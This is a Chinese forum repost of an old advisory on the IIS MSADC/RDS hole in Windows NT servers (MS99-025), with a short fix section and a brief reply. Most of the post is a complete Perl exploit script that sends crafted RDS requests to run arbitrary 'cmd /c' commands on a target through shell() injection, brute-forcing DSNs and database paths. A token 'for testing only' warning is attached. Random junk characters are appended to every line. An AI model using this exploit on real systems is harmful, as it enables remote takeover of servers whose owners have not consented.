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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) -fA1_ ?7S  
nc.(bb),  
涉及程序: KbcmK( `_  
Microsoft NT server ]m(C}}  
CHojF+e  
描述: I_k!'zR[N  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 cu~\&3 R  
lQ]8PR t8  
详细: {wNNp't7  
如果你没有时间读详细内容的话,就删除: z87_/(nu  
c:\Program Files\Common Files\System\Msadc\msadcs.dll  u51%~  
有关的安全问题就没有了。 DA(ur'D  
~@Wg3'&  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 X;vfbF   
v RR(b!Lq  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 WA$Ug  
关于利用ODBC远程漏洞的描述,请参看: ! /qQ:k-.  
&l0-0 T>  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm FB\lUO)U\c  
us0{y7(p  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 6zf3A:]&{  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp cj5; XK  
6HK dBW$/  
这里不再论述。 =rB=! ;  
R'Uw17I  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: eM1=r:jgE  
\{RMj"w:  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset R=ipK63  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ] C&AU[U*  
!VXs yH3r5  
}nO[;2Na  
#将下面这段保存为txt文件,然后: "perl -x 文件名" M#?^uu'  
^hN.FIzM  
#!perl J,&B   
# [JzOsi~R  
# MSADC/RDS 'usage' (aka exploit) script 5{esL4k  
# #@v$`Df<  
# by rain.forest.puppy -<jd/ 5  
# Tx|}ke~  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me jlA?JB  
# beta test and find errors! Z{".(?+}1  
_Dv<  
use Socket; use Getopt::Std; dm+}nQI \  
getopts("e:vd:h:XR", \%args); @#?w>38y  
5'mpd  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 1vG]-T3VC  
=/6rX"\P  
if (!defined $args{h} && !defined $args{R}) { pp!>:%  
print qq~ 1/l;4~p7'  
Usage: msadc.pl -h <host> { -d <delay> -X -v } {Iu9%uR>@  
-h <host> = host you want to scan (ip or domain) c'LDHh7b  
-d <seconds> = delay between calls, default 1 second s.8]qQRr  
-X = dump Index Server path table, if available ;#>,eD2u  
-v = verbose f]*_]J/  
-e = external dictionary file for step 5 sgRD]SF  
^-Knx!z  
Or a -R will resume a command session Z`9yGaTO  
l|Z<pD  
~; exit;} y=H\Z/=  
U&\2\z3{  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; `Qrrnq  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} VZRM=;V  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} </%n:<z4  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); !K~L&.\T  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} j_I  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } @|1/yQgi  
\kQ@G  
if (!defined $args{R}){ $ret = &has_msadc; )HFl 0[vT  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} R DAihq  
{TWgR2?{C  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" R=/6bR57  
. "cmd /c "; L 2Z9g`>  
$in=<STDIN>; chomp $in; 3H'+7[~qH  
$command="cmd /c " . $in ; 5YQq*$|'+  
, id`=L=  
if (defined $args{R}) {&load; exit;} Y >N`(  
tK$x=9M  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; DKzP)!B "  
&try_btcustmr; #G/ _FRo`  
SjZ?keKZ  
print "\nStep 2: Trying to make our own DSN..."; S(b5Gj/Kd  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; OG C|elSM  
|iJ+e -_R  
print "\nStep 3: Trying known DSNs..."; 4 <&8`Q  
&known_dsn; -nvK*rn>}  
j$f`:A  
print "\nStep 4: Trying known .mdbs..."; [p%OIqC`pB  
&known_mdb; oV 7A"8L^a  
[)ybPIv]  
if (defined $args{e}){ 02EbmP  
print "\nStep 5: Trying dictionary of DSN names..."; -A\J:2a|  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } u\]aUP e  
,XZ[L? >  
print "Sorry Charley...maybe next time?\n"; BUozpqN}  
exit; YnCWmlC  
7T)J{:+0!|  
############################################################################## pKM5<1J  
w ,CZ*/^  
sub sendraw { # ripped and modded from whisker CL U[')H0  
sleep($delay); # it's a DoS on the server! At least on mine... 1 ^k#g,  
my ($pstr)=@_; F%v?,`_&I  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || aK ly1G  
die("Socket problems\n"); NVFgRJ&  
if(connect(S,pack "SnA4x8",2,80,$target)){ <XfCQq/  
select(S); $|=1; 4*<27  
print $pstr; my @in=<S>; A^a9,T  
select(STDOUT); close(S); B_B~Y8=3`  
return @in; xP1`FSO8=  
} else { die("Can't connect...\n"); }} /wj L<  
_DAAD,'<a  
############################################################################## tVf1]3(_>  
LAoX'^6  
sub make_header { # make the HTTP request x4HVB  
my $msadc=<<EOT )$wX~k  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 g!k'tizYD  
User-Agent: ACTIVEDATA cE*Gd^  
Host: $ip 54A ndyeA  
Content-Length: $clen <( 0TK5  
Connection: Keep-Alive u/D=&"tL  
d9hJEu!Lu  
ADCClientVersion:01.06 p:,(r{*?  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 [}/\W`C  
O*<,lq 0K  
--!ADM!ROX!YOUR!WORLD! ye9-%~sjX  
Content-Type: application/x-varg /FZ@Z]Q0G  
Content-Length: $reqlen z]NN ^pIa  
FL 5tIfV+  
EOT Ve4!MM@ti  
; $msadc=~s/\n/\r\n/g; LZ@4,Uj  
return $msadc;} \mt0mv;c  
d45JT?qg&  
############################################################################## ?1I0VA']  
R ks3L  
sub make_req { # make the RDS request h4xRRyK  
my ($switch, $p1, $p2)=@_; C?FUc cI  
my $req=""; my $t1, $t2, $query, $dsn; #eqy!QdePf  
k^pf)*p  
if ($switch==1){ # this is the btcustmr.mdb query =9oN#4mWK  
$query="Select * from Customers where City=" . make_shell(); 7[l "=  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . Dl3Df u8  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} ~6nq$(#  
T/V 5pYl  
elsif ($switch==2){ # this is general make table query >Ic)RPO9  
$query="create table AZZ (B int, C varchar(10))"; _Z:WgO].  
$dsn="$p1";} hr8v O"tZN  
r9/PmZo4x  
elsif ($switch==3){ # this is general exploit table query |WiK*  
$query="select * from AZZ where C=" . make_shell(); /&>6#3df-  
$dsn="$p1";} Um k9  
3 *o l  
elsif ($switch==4){ # attempt to hork file info from index server f1'NWec  
$query="select path from scope()"; 'w+T vOB  
$dsn="Provider=MSIDXS;";} RhG9Xw9  
_fH.#C  
elsif ($switch==5){ # bad query .1yp}&e#  
$query="select"; %2<G3]6^U  
$dsn="$p1";} T j7i#o  
( _ZOUMe  
$t1= make_unicode($query); [Hn4&PET  
$t2= make_unicode($dsn); dpO ZqhRs.  
$req = "\x02\x00\x03\x00"; io]e]m%  
$req.= "\x08\x00" . pack ("S1", length($t1)); -vXX u;frt  
$req.= "\x00\x00" . $t1 ; :bLLN  
$req.= "\x08\x00" . pack ("S1", length($t2)); FuNc#n>  
$req.= "\x00\x00" . $t2 ; zY<=r.m4  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; c}II"P  
return $req;} C?bq7kD:H  
R}Ih~zw  
############################################################################## |wKC9O@%  
F6gboo)SD  
sub make_shell { # this makes the shell() statement Q0f7gY1-%  
return "'|shell(\"$command\")|'";} ZJ} V>Bu-  
+2kJuoj:  
############################################################################## /?%zNkcxu  
;}b.gpG  
sub make_unicode { # quick little function to convert to unicode 4VjP:>*p  
my ($in)=@_; my $out; HR55|`]  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } z?HP%g'M~  
return $out;} _MfB,CS  
.0:t wj  
############################################################################## -hf)%o$  
.kSx>3  
sub rdo_success { # checks for RDO return success (this is kludge) G"bItdb  
my (@in) = @_; my $base=content_start(@in); C>q,c3s5  
if($in[$base]=~/multipart\/mixed/){ vdloh ,  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} MfhJb_q`  
return 0;} 1!"0fZh9U  
CPVR  
############################################################################## ST3aiyG  
4tTK5`7N  
sub make_dsn { # this makes a DSN for us lzz rzx^  
my @drives=("c","d","e","f"); >|L,9lR_b  
print "\nMaking DSN: "; TY[1jW~{r  
foreach $drive (@drives) { Kd8V,teH  
print "$drive: "; ~y%8uHL:  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . "q(#,,_  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" Yxye?R-:  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); pOlo_na}[  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; $v?+X20  
return 0 if $2 eq "404"; # not found/doesn't exist $\l7aA5~  
if($2 eq "200") { s5T$>+ a  
foreach $line (@results) { m!3L/UZ  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} > $0eRVL  
} return 0;} p#W[he  
wkK61a h6  
############################################################################## 77- Jx`C  
t>QAM6[  
sub verify_exists { 3!M;Z7qF]  
my ($page)=@_; w?6"`Mo  
my @results=sendraw("GET $page HTTP/1.0\n\n"); mw9;LNi\D  
return $results[0];} B#'TF?HUEn  
pmd=3,D'u  
############################################################################## i.I iwe0G  
TSXa#SKp  
sub try_btcustmr { hc}d S$=C  
my @drives=("c","d","e","f"); XQ&iV7   
my @dirs=("winnt","winnt35","winnt351","win","windows"); |><hdBQXX<  
w4U]lg<}E  
foreach $dir (@dirs) { @BWroNg{  
print "$dir -> "; # fun status so you can see progress 'NF_!D  
foreach $drive (@drives) { ',k0 _n?t  
print "$drive: "; # ditto "/Fp_g6#:  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; :Xc%_&)  
$reqlenlen=length( "$reqlen" ); B`)o?GcVN  
$clen= 206 + $reqlenlen + $reqlen; {"l_x]q  
Cdl#LVqs  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); <d~P;R(@  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} $lmbeW[0  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} `2\vDy1,j  
]Y Q[ )  
############################################################################## Y<M,/Y_ !  
k`Nc<nN8  
sub odbc_error { u9rlNmf$  
my (@in)=@_; my $base; I`kaAOe  
my $base = content_start(@in); tbD>A6&VM}  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this sh(G{Yz@  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; #4"(M9kf  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; (yWU9q)5  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; hXdc5 ?i?  
return $in[$base+4].$in[$base+5].$in[$base+6];} ,<n >g;  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; z?`&HU Nf  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . P.mz$M  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} -o*IJQ_  
V.5gxr3QqW  
############################################################################## d{2+> >d  
]kA0C~4   
sub verbose { rLO1Sv  
my ($in)=@_; wjW>#DE  
return if !$verbose; so}(*E&(a  
print STDOUT "\n$in\n";} r# MJ  
tr0P ;}=  
############################################################################## _cdrz)T  
+@[T0cXp  
sub save { s7=CH   
my ($p1, $p2, $p3, $p4)=@_; V8ka*VJ(B  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 'EoJo9p6}  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; j+AAhn  
close OUT;} n;8[WR)  
U<J4\|1?7'  
############################################################################## -C]RFlV  
y?j#;n0  
sub load { ogQY"c8  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ei)ljvvmHP  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); D+?/MrP  
@p=<IN>; close(IN); j*@^O`^v  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); -L@4da[]i  
$target= inet_aton($ip) || die("inet_aton problems"); Xdj` $/RI  
print "Resuming to $ip ..."; NfizX!w&  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; )*@n G$i99  
if($p[1]==1) { 3wK{?  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; IiTV*azVh  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; >aXyi3B  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); p\OUxAm  
if (rdo_success(@results)){print "Success!\n";} "!()yjy  
else { print "failed\n"; verbose(odbc_error(@results));}} x`K<z J   
elsif ($p[1]==3){ ;Ak<O[  
if(run_query("$p[3]")){ eS(\E0%QI  
print "Success!\n";} else { print "failed\n"; }} h^R EBPe  
elsif ($p[1]==4){ zu}oeAQc$  
if(run_query($drvst . "$p[3]")){ s<VNW  
print "Success!\n"; } else { print "failed\n"; }} @NlE2s6a  
exit;} +-YMW;5  
7/QQ&7+NkS  
############################################################################## (UWWULV  
7l}P!xa&  
sub create_table { umZy=KHj  
my ($in)=@_; ZGgKCCt  
$reqlen=length( make_req(2,$in,"") ) - 28; KDr?<"2L  
$reqlenlen=length( "$reqlen" ); 9TRS#iVL+*  
$clen= 206 + $reqlenlen + $reqlen; %suSZw`  
my @results=sendraw(make_header() . make_req(2,$in,"")); l&l&e OE  
return 1 if rdo_success(@results); UFBggT\  
my $temp= odbc_error(@results); verbose($temp); :VpRpj4f  
return 1 if $temp=~/Table 'AZZ' already exists/; o1<Y#db[  
return 0;} 4ti\;55{W  
HwTb753  
############################################################################## 5/Viz`hsz  
g bDre~|  
sub known_dsn { 3lzjY.]Pgv  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go CY~]lQ  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", xl [3*K   
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", D/QSC]"  
"banner", "banners", "ads", "ADCDemo", "ADCTest");  >d-By  
("07t/||  
foreach $dSn (@dsns) { _b8&$\>  
print "."; ^R- -&{I  
next if (!is_access("DSN=$dSn")); 6'CZfs\  
if(create_table("DSN=$dSn")){ "SC}C  
print "$dSn successful\n"; xR;>n[6  
if(run_query("DSN=$dSn")){ D^qto{!  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {  *R1 m=  
print "Something's borked. Use verbose next time\n";}}} print "\n";} IcmTF #{D  
AyHhq8Y  
############################################################################## }jHS  
MH@=Qqx#=t  
sub is_access { "TW%-67  
my ($in)=@_; y#F`yXUj  
$reqlen=length( make_req(5,$in,"") ) - 28; GaV6h|6_  
$reqlenlen=length( "$reqlen" ); iAD'MB  
$clen= 206 + $reqlenlen + $reqlen; 6.%M:j0 0E  
my @results=sendraw(make_header() . make_req(5,$in,"")); Xg+Eeg#  
my $temp= odbc_error(@results); xgoG>~F  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); | 4/'~cYV  
return 0;} iUDNm|e  
52Sq;X  
############################################################################## $yxwB/O(  
.*\TG/x  
sub run_query { .Z%y16)T  
my ($in)=@_; eC`} oEz  
$reqlen=length( make_req(3,$in,"") ) - 28; |f5WN&c  
$reqlenlen=length( "$reqlen" ); OsI>gX>  
$clen= 206 + $reqlenlen + $reqlen; l;{n" F  
my @results=sendraw(make_header() . make_req(3,$in,"")); %N5gQXg  
return 1 if rdo_success(@results); )CgKZ"  
my $temp= odbc_error(@results); verbose($temp); @BQJKPF*  
return 0;} x\( @ v  
4 mj\wBp  
############################################################################## >YG1sMV-J  
0u[Vd:()v(  
sub known_mdb { 9C&Xs nk  
my @drives=("c","d","e","f","g"); I`hltJM'  
my @dirs=("winnt","winnt35","winnt351","win","windows"); wW2b?b{*Z  
my $dir, $drive, $mdb; }!_x\eq^  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Jr|"QRC  
~,#zdm1r@  
# this is sparse, because I don't know of many sBUK v(U)  
my @sysmdbs=( "\\catroot\\icatalog.mdb", \"=4)Huv  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", dCq-&3?t  
"\\system32\\certmdb.mdb", *}fs@"S   
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% bY` b3  
z+3G zDLy  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", HURr k~[  
"\\cfusion\\cfapps\\forums\\forums_.mdb", iCd$gwA>F  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ^a+W!  
"\\cfusion\\cfapps\\security\\realm_.mdb", MnToL@  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", r?cDyQE  
"\\cfusion\\database\\cfexamples.mdb", K4w %XVaH  
"\\cfusion\\database\\cfsnippets.mdb", C8ss6+k&  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", kyV!ATL1F  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", vh+ ' W  
"\\cfusion\\brighttiger\\database\\cleam.mdb", %3p~5jhm1  
"\\cfusion\\database\\smpolicy.mdb", #63)I9>  
"\\cfusion\\database\cypress.mdb", 117`=9F  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", *xHj*  
"\\website\\cgi-win\\dbsample.mdb", =AaTn::e/  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", }ACWSkWK  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" (!'=?B "  
); #these are just KWuc*!  
foreach $drive (@drives) { |#OMrP+oi  
foreach $dir (@dirs){ sA^_I6>M"  
foreach $mdb (@sysmdbs) { j&6O 1  
print "."; 2=R}u-@6p  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ W=QT-4  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; S  ^5EG;[  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ Ug}dw a  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 5&Y%N(  
} else { print "Something's borked. Use verbose next time\n"; }}}}} D,$!.5OA  
j%w}hGW%,  
foreach $drive (@drives) { 6?B'3~ r  
foreach $mdb (@mdbs) { K;uOtbdOK  
print "."; |[6jf!F  
if(create_table($drv . $drive . $dir . $mdb)){ M:[rH  
print "\n" . $drive . $dir . $mdb . " successful\n"; }uZtAH|  
if(run_query($drv . $drive . $dir . $mdb)){ [K5#4k  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; <V`1?9c7D1  
} else { print "Something's borked. Use verbose next time\n"; }}}} w_gFN%8  
} #.Q3}[M  
[u?*' c{  
############################################################################## `5SLo=~  
,=Q;@Z4 vJ  
sub hork_idx { yM_ta '^$  
print "\nAttempting to dump Index Server tables...\n"; F+!w[}0  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; U3UKu/Z  
$reqlen=length( make_req(4,"","") ) - 28; Ai*R%#  
$reqlenlen=length( "$reqlen" ); ^4G%*-   
$clen= 206 + $reqlenlen + $reqlen; G`;YB  
my @results=sendraw2(make_header() . make_req(4,"","")); Pn?,56SD=  
if (rdo_success(@results)){ kdq<)>"  
my $max=@results; my $c; my %d; cA,`!dG2,  
for($c=19; $c<$max; $c++){ d17RJW%A  
$results[$c]=~s/\x00//g; &XvSAw+D@  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; @%FLT6MY  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; wP|Amn+;  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; SRP.Mqg9  
$d{"$1$2"}="";} CIt%7 \c  
foreach $c (keys %d){ print "$c\n"; } 1\t#*N  
} else {print "Index server doesn't seem to be installed.\n"; }} iY~.U`b`  
NA :_yA"  
############################################################################## /m"#uC!\  
(u_?#PjX  
sub dsn_dict { E%.w6-  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); hXAgT!ZD  
while(<IN>){ wI0NotC  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; "r+v^  
next if (!is_access("DSN=$dSn")); R5"5Z?'  
if(create_table("DSN=$dSn")){ a+-X\qN  
print "$dSn successful\n"; c }-AD r9  
if(run_query("DSN=$dSn")){ 5%6{ ePh{  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { V/t/uNm  
print "Something's borked. Use verbose next time\n";}}} y^u9Ttf{  
print "\n"; close(IN);} `] fud{  
l* ap$1'  
############################################################################## g +RgDt9  
^CBc~um2  
sub sendraw2 { # ripped and modded from whisker 9Z[EzKd<~'  
sleep($delay); # it's a DoS on the server! At least on mine... Y^Y1re+}  
my ($pstr)=@_; 1WP(=7$.  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || /%9Ge AAs  
die("Socket problems\n"); Yl$R$u)  
if(connect(S,pack "SnA4x8",2,80,$target)){ 23(j<  
print "Connected. Getting data"; H{d;, KfX  
open(OUT,">raw.out"); my @in; vvi[+$M  
select(S); $|=1; print $pstr; @$*LU:[  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} &s{" Vc9]  
close(OUT); select(STDOUT); close(S); return @in; t@#l0lu$  
} else { die("Can't connect...\n"); }} gs:V4$(p4  
4Ou5Vp&y  
############################################################################## QjIn0MJ)Xm  
:>q*#vlb  
sub content_start { # this will take in the server headers S|K#lL  
my (@in)=@_; my $c; 2{Johqf  
for ($c=1;$c<500;$c++) { *+UgrsRk  
if($in[$c] =~/^\x0d\x0a/){ E2nsBP=5C  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } rlpbLOG`  
else { return $c+1; }}} \/8oua_)  
return -1;} # it should never get here actually n OQvBc  
m>:zwz< ;  
############################################################################## SDbR(oV  
Ovhd%qV;Y  
sub funky { ]ZI ?U<0  
my (@in)=@_; my $error=odbc_error(@in); ^o8o  
if($error=~/ADO could not find the specified provider/){ e[($rsx  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; *NjjFk=R  
exit;} uE=pq<  
if($error=~/A Handler is required/){ `zP{E T_Y  
print "\nServer has custom handler filters (they most likely are patched)\n"; 9 *+X ^q'  
exit;} ~lQ<#*wl  
if($error=~/specified Handler has denied Access/){ tb1w 6jaU  
print "\nServer has custom handler filters (they most likely are patched)\n"; V4CL% i  
exit;}} Z(|'zAb^  
3 q^^Os  
############################################################################## X+%5q =N  
s[n*fV']A  
sub has_msadc { K\VL[HP-  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); wfMtWXd;KB  
my $base=content_start(@results); ]n 'FD|  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); L5RBe  
return 0;} #wS/QrRE  
uLq%Nu  
######################## S2\|bs7;J,  
&_o.:SL|  
tj1M1s|a  
解决方案: Nu[0X  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll  KB5<)[bs  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 8r\;8all  
]b&O#D9  
拿出来充数 哈哈
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